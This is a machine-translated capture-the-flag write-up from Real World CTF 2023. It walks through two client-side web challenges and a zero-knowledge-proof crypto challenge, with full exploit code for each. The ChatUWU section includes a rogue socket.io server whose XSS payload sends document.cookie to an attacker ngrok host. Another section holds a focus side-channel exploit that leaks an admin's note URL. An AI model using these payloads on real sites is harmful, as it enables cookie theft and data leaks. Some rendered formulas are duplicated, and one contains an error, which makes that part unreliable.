Real World CTF 2023 Writeups

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time I participated in Real World CTF 2023 with Balsn members, solving Web x2 and Crypto x1. Here is a brief record of my approach.

Web

ChatUWU

A client-side challenge, the core part:

function reset() {
	location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=textContent`
}

let query = new URLSearchParams(location.search),
	nickname = query.get('nickname'),
	room = query.get('room')
if (!nickname || !room) {
	reset()
}
for (let k of query.keys()) {
	if (!['nickname', 'room'].includes(k)) {
		reset()
	}
}
document.title += ' - ' + room
let socket = io(`/${location.search}`),
	messages = document.getElementById('messages'),
	form = document.getElementById('form'),
	input = document.getElementById('input')

form.addEventListener('submit', function (e) {
	e.preventDefault()
	if (input.value) {
		socket.emit('msg', { from: nickname, text: input.value })
		input.value = ''
	}
})

socket.on('msg', function (msg) {
	let item = document.createElement('li'),
		msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`
	room === 'DOMPurify' && msg.isHtml ? (item.innerHTML = msgtext) : (item.textContent = msgtext)
	messages.appendChild(item)
	window.scrollTo(0, document.body.scrollHeight)
})

socket.on('error', msg => {
	alert(msg)
	reset()
})

The server side uses DOMPurify to filter the content of the DOMPurify channel, so server XSS is not possible. However, it constructs the socket.io connection object from location.search, and it uses a different parser (not window.URL), so there is an opportunity to exploit it.

Testing revealed that /?peko@miko would treat miko as the host part, so you just need to write a socket.io server to send the payload and let it connect to achieve XSS.

URL: http://47.254.28.30:58000/?nickname=peko@XXX.ngrok.io/?%23&room=DOMPurify

Server:

const app = require('express')()
const http = require('http').Server(app)
const io = require('socket.io')(http, {
	cors: {
		origin: '*',
		methods: ['GET', 'POST']
	}
})

const hostname = process.env.HOSTNAME || '0.0.0.0'
const port = process.env.PORT || 8000

app.get('/', (req, res) => {
	res.send('123')
})

io.on('connection', socket => {
	console.log(socket.handshake.query)
    socket.on('msg', console.log)
    console.log('sending')
    socket.emit('msg', {
        from: 'xss',
        text: '<img src onerror="(new Image).src=`https://XXX.ngrok.io?${document.cookie}`">',
        isHtml: true
    })
})

http.listen(port, hostname, () => {
	console.log(`Exploit server running at http://${hostname}:${port}/`)
})
// rwctf{1e542e65e8240f9d60ab41862778a1b408d97ac2}

the cult of 8 bit

This is also a client-side challenge. The goal is to steal the note URL where the admin hides the flag, as the URL itself can be accessed just by knowing the UUID, without additional access control.

The key part of the challenge is in post.ejs:

    <script>
      <%_ if (locals.POST_SERVER) { /* posts are stored on a different page */ _%>
      const POST_SERVER = "<%= POST_SERVER %>";
      <%_ } else { /* post server is on the same origin */ _%>
      const POST_SERVER = "";
      <%_ } _%>

      const $ = document.querySelector.bind(document); // imagine using jQuery...

      function load_post(post) {
        if (!post.success) {
          $("#post-name").innerText = "Error";
          $("#post-body").innerText = post.error;
          return;
        }

        $("#post-name").innerText = post.name;
        $("#post-body").innerText = post.body;
      }

      window.onload = function() {
        const id = new URLSearchParams(window.location.search).get('id');
        if (!id) {
          return;
        }

        // Load post from POST_SERVER
        // Since POST_SERVER might be a different origin, this also supports loading data through JSONP
        const request = new XMLHttpRequest();
        try {
          request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
          request.send(null);
        }
        catch (err) { // POST_SERVER is on another origin, so let's use JSONP
          let script = document.createElement("script");
          script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
          document.head.appendChild(script);
          return;
        }

        load_post(JSON.parse(request.responseText));
      }
    </script>

P.S. The POST_SERVER is not used, so it can be ignored.

This immediately reminded me of the Secure Paste challenge I created for HITCON CTF 2022, which also used URL parameters to inject JSONP callbacks. However, here JSONP is used as a fallback, so we need to cause an error in the two XHR operations to exploit it.

The most common way to cause an error is to make it a null origin, which occurs in sandboxed iframes and windows opened by sandboxed iframes (window.open). (Ref: iframe and window.open black magic)

After doing this, we can control the JSONP callback, but it will go through this replace, so there is not much we can do, only call functions or delete properties.

At this point, I looked at other parts of the code and found that home.ejs has this:

<a target="_blank" href=<%= todo.text %>>

Obviously, just using https://a? onfocus=alert() id=x and adding #x when browsing the page can achieve XSS, and since todo is per account, this is a self-XSS.

A common method to turn self-XSS into XSS is through CSRF login, but the login route in this challenge is protected by a CSRF token, so it cannot be done directly. Therefore, I thought about using the JSONP part to steal the CSRF token.

I referred to the unintended solution of Secure Paste, which uses focus to achieve char-by-char side-channel leaks of anything on the page. This successfully obtained individual characters of the CSRF token. However, when I tried to leak the entire token, I found that the token changes every time the page is refreshed, and the server has Cache-Control: no-store, blocking this approach.

Then I thought that the JSONP leak technique could also be combined with window reference to leak other things on the page, which is what the original unintended solution did. However, in this case, it is blocked by the null origin fact. To control the JSONP callback, the page must first become null origin, causing the XHR to error, so all feasible paths are blocked...?

After being stuck for a while, I remembered that iframes have an allow attribute, which can specify policies to control the features accessible within the iframe, and sync-xhr is one of them. Therefore, by blocking sync-xhr, we can control the JSONP callback in a same-origin context and leak other things on the page (such as the flag URL on the home page).

Testing showed that this works, but the allow policy and sandbox have some differences. The sandbox attribute is inherited by windows opened by window.open, but allow is not. Fortunately, this challenge does not prevent us from embedding the target site in an iframe, so this is not an issue.

Combining window reference to leak the flag URL on the home page, I successfully leaked the UUID in a normal Chromium environment. However, in headless Chromium, I found that the onfocus in the iframe did not work for some reason. So I referred to the unintended solution author's method, using setInterval and document.activeElement.name to correctly detect focus, which works in headless Chromium.

index.html:

<script>
    const host = 'http://localhost:12345'
    window.open('/exp.html', '_blank')
    location = host
</script>

exp.html:

<script>
	const elonload = el =>
		new Promise(resolve => {
			el.onload = () => {
				el.onload = null
				resolve()
			}
		})
	const newFrame = (name, cb = () => {}) => {
		const frame = document.createElement('iframe')
		frame.name = name
		frame.srcdoc = name
		cb(frame)
		document.body.appendChild(frame)
		return frame
	}
	const log = (...msg) => {
		console.log(...msg)
		fetch(`/log/${msg[0]}`, {
			method: 'POST',
			body: JSON.stringify(msg, null, 2)
		})
	}
	window.onload = async () => {
		const host = 'http://localhost:12345'
		const id = '961efacc-78b1-4eb9-8b81-f8001560e9e2x'
		const HEX = [...'0123456789abcdef-']
		const hexFrames = HEX.map(c => newFrame(c, f => (f.style.display = 'none')))
		const fr = newFrame('fr')
		const sbx = newFrame('sbx', f => {
			f.allow = "sync-xhr 'none'"
			f.srcdoc = `sbx<script>onmessage = e=> eval(e.data)</` + `script>`
		})
		await Promise.all([fr, sbx].concat(hexFrames).map(elonload))
		const makePromise = () =>
			new Promise(res => {
				const it = setInterval(() => {
					const p = document.activeElement.name
					if (HEX.includes(p)) {
						document.body.focus()
						res(p)
						console.log(p)
						clearInterval(it)
					}
				}, 500)
			})
		log('prepare done')
		let res = ''
		for (let i = 0; i < 36; i++) {
			const callback = `top.frames[top.opener.document.body.children[1].children[0].children[0].children[0].children[3].children[0].children[0].children[0].textContent[${i}]].focus`
			sbx.contentWindow.postMessage(
				`location = '${host}/post/?' + new URLSearchParams({id: '${id}' + '?callback=${callback}#'}).toString()`,
				'*'
			)
			res += await makePromise()
			log(res)
			sbx.srcdoc = `sbx<script>onmessage = e=> eval(e.data)</` + `script>`
			await elonload(sbx)
		}
		log('done')
	}
</script>
rwctf{val3ntina_e5c4ped_th3_cu1t_with_l33t_op3ner}

Crypto

0KPR00F

This challenge is related to ZK Proof and uses a pairing-friendly curve bn128. Although it sounds intimidating, it is actually quite simple because the goal is to generate a proof using the provided proving key to pass the verification of the verifying key.

Recommended articles: BLS12-381 For The Rest Of Us, BN254 For The Rest Of Us

The knowledge required for this challenge is just the basic property of pairing ee, which is that it is a bilinear function:

e(aP,Q)=e(P,aQ)=e(P,Q)ae(aP, Q) = e(P, aQ) = e(P, Q)^a

However, since bn128 uses a twist, there are two subgroups G1E(Fq)G_1 \subset E(\mathbb{F}_q) and G2E(Fq2)G_2 \subset E'(\mathbb{F}_{q^2}), so the pairing ee is actually:

e:G2×G1Fq12e: G_2 \times G_1 \to \mathbb{F}_{q^{12}}

The order of G1G_1 and G2G_2 is reversed because the pairing function in py_ecc is defined this way, so the order cannot be arbitrarily swapped, but the previously mentioned property still holds.

Key generation

First, two random numbers a,ta,t are chosen, and two lists PKC and PKCa are calculated. The pair (PKC, PKCa) serves as the proving key:

PKC=(t0G1,t1G1,,tnG1)PKCa=(at0G1,at1G1,,atnG1)\begin{aligned} \text{PKC} &= (t^0 G_1, t^1 G_1, \cdots, t^n G_1) \\ \text{PKCa} &= (a t^0 G_1, a t^1 G_1, \cdots, a t^n G_1) \\ \end{aligned}

nn represents a length, which in this challenge is n=7n=7. Here, G1G_1 and G2G_2 refer to two generators.

Next is the verifying key (VKa, VKz):

VKa=aG2VKz=Z(t)G2\begin{aligned} \text{VKa} &= a G_2 \\ \text{VKz} &= Z(t) G_2 \\ \end{aligned}

Where Z(x)Z(x) is a polynomial, and in this challenge:

Z(x)=(x1)(x2)(x3)(x4)=x410x3+35x250x+24\begin{aligned} Z(x) &= (x-1)(x-2)(x-3)(x-4) \\ &= x^4 - 10x^3 + 35x^2 - 50x + 24 \end{aligned}

Verification

The proof consists of three points (PiC, PiCa, PiH) in G1E(Fq)G_1 \subset E(\mathbb{F}_q), which must satisfy:

e(VKa,Pic)=e(G2,PiCa)e(G2,Pic)=e(VKz,PiH)\begin{aligned} e(\text{VKa},\text{Pic}) &= e(G_2, \text{PiCa}) \\ e(G_2,\text{Pic}) &= e(\text{VKz}, \text{PiH}) \end{aligned}

Expanding the verifying key:

e(aG2,Pic)=e(G2,PiCa)e(G2,Pic)=e(Z(t)G2,PiH)\begin{aligned} e(a G_2,\text{Pic}) &= e(G_2, \text{PiCa}) \\ e(G_2,\text{Pic}) &= e(Z(t) G_2, \text{PiH}) \end{aligned}

Finally, we get:

aPic=PiCaZ(t)PiH=Pic\begin{aligned} a\,\text{Pic} &= \text{PiCa} \\ Z(t)\,\text{PiH} &= \text{Pic} \end{aligned}

Solution

To satisfy this, the simplest way is to take PiH=G1\text{PiH} = G_1, then Pic\text{Pic} can be calculated using the previous PKC\text{PKC}:

PiC=Z(t)G1=t4G110t3G1+35t2G150tG1+24G1=PKC410PKC3+35PKC250PKC1+24G1\begin{aligned} \text{PiC} &= Z(t) G_1 \\ &= t^4 G_1 - 10t^3 G_1 + 35t^2 G_1 - 50t G_1 + 24 G_1 \\ &= \text{PKC}_4 - 10\text{PKC}_3 + 35\text{PKC}_2 - 50\text{PKC}_1 + 24 G_1 \end{aligned}

Similarly, PiCa\text{PiCa} can be calculated using the previous PKCa\text{PKCa}:

PiCa=aZ(t)G1=at4G110at3G1+35at2G150atG1+24aG1=aPKCa410aPKCa3+35aPKCa250aPKCa1+24aG1\begin{aligned} \text{PiCa} &= a Z(t) G_1 \\ &= a t^4 G_1 - 10a t^3 G_1 + 35a t^2 G_1 - 50a t G_1 + 24 a G_1 \\ &= a\text{PKCa}_4 - 10a\text{PKCa}_3 + 35a\text{PKCa}_2 - 50a\text{PKCa}_1 + 24 a G_1 \end{aligned}

This solves the challenge, although a normal zk proof would likely take PiH=kG1\text{PiH}=kG_1 (pure speculation).

import os
from py_ecc import bn128
from pwn import remote
import ast

lib = bn128
FQ, FQ2, FQ12, field_modulus = lib.FQ, lib.FQ2, lib.FQ12, lib.field_modulus
G1, G2, G12, b, b2, b12, is_inf, is_on_curve, eq, add, double, curve_order, multiply = (
    lib.G1,
    lib.G2,
    lib.G12,
    lib.b,
    lib.b2,
    lib.b12,
    lib.is_inf,
    lib.is_on_curve,
    lib.eq,
    lib.add,
    lib.double,
    lib.curve_order,
    lib.multiply,
)
pairing, neg = lib.pairing, lib.neg


def sum_points(ps):
    R = add(ps[0], ps[1])
    for p in ps[2:]:
        R = add(R, p)
    return R


io = remote("47.254.47.63", 13337)
io.recvline()
io.recvline()
io.recvline()
PKC, PKCa = ast.literal_eval(io.recvlineS().strip())

PKC = [(FQ(x), FQ(y)) for x, y in PKC]
PKCa = [(FQ(x), FQ(y)) for x, y in PKCa]

print(PKC)
print(PKCa)
assert len(PKC) == 7
assert len(PKCa) == 7

# PiH = G1
# PiC = multiply(PiH, Z(t))
# PiCa = multiply(PiC, a)

PiH = G1
poly = [24, -50, 35, -10, 1]
PiC = sum_points([multiply(P, a % curve_order) for a, P in zip(poly, PKC)])
PiCa = sum_points([multiply(P, a % curve_order) for a, P in zip(poly, PKCa)])
proof = (PiC, PiCa, PiH)
print(str(proof))
io.sendline(str(proof).encode())
io.interactive()
# rwctf{How_do_you_feel_about_zero_knowledge_proof?}